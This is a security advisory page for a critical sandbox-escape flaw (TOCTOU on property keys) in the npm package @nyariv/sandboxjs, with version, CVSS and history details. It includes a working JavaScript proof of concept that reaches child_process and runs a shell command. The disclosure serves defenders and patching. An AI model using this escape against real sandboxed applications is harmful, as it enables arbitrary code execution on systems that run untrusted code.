Critical

@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses

  • Disclosed: 05.02.2026
  • Updated: 11.10.2026 10:22

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

js
const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();

Impact

Remote code execution, if attacker can execute code inside the sandbox.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @nyariv/sandboxjs < 0.8.29 0.8.29

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-367, CWE-74
Platform
npm
Package
@nyariv/sandboxjs
Disclosed
05.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7x3h-rm86-3342 - CC BY 4.0

Vulnerability history: @nyariv/sandboxjs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (14) in the archive
Total entries
14
First → latest
07.2025 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 1
  • Medium 3

Disclosures per year

  1. 2025: 1
  2. 2026: 13
Severity:
  1. Critical · 10.0 CVE-2026-34208 < 0.8.36 0.8.36
  2. Critical · 10.0 CVE-2026-26954 < 0.8.34 0.8.34
  3. @nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses this entry
    Critical · 10.0 CVE-2026-25641 < 0.8.29 0.8.29
  4. Critical · 10.0 CVE-2026-25587 < 0.8.29 0.8.29
  5. Critical · 10.0 CVE-2026-25520 < 0.8.29 0.8.29
  6. Critical · 10.0 CVE-2026-25142 < 0.8.27 0.8.27
  7. Critical · 10.0 CVE-2026-23830 < 0.8.26 0.8.26

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.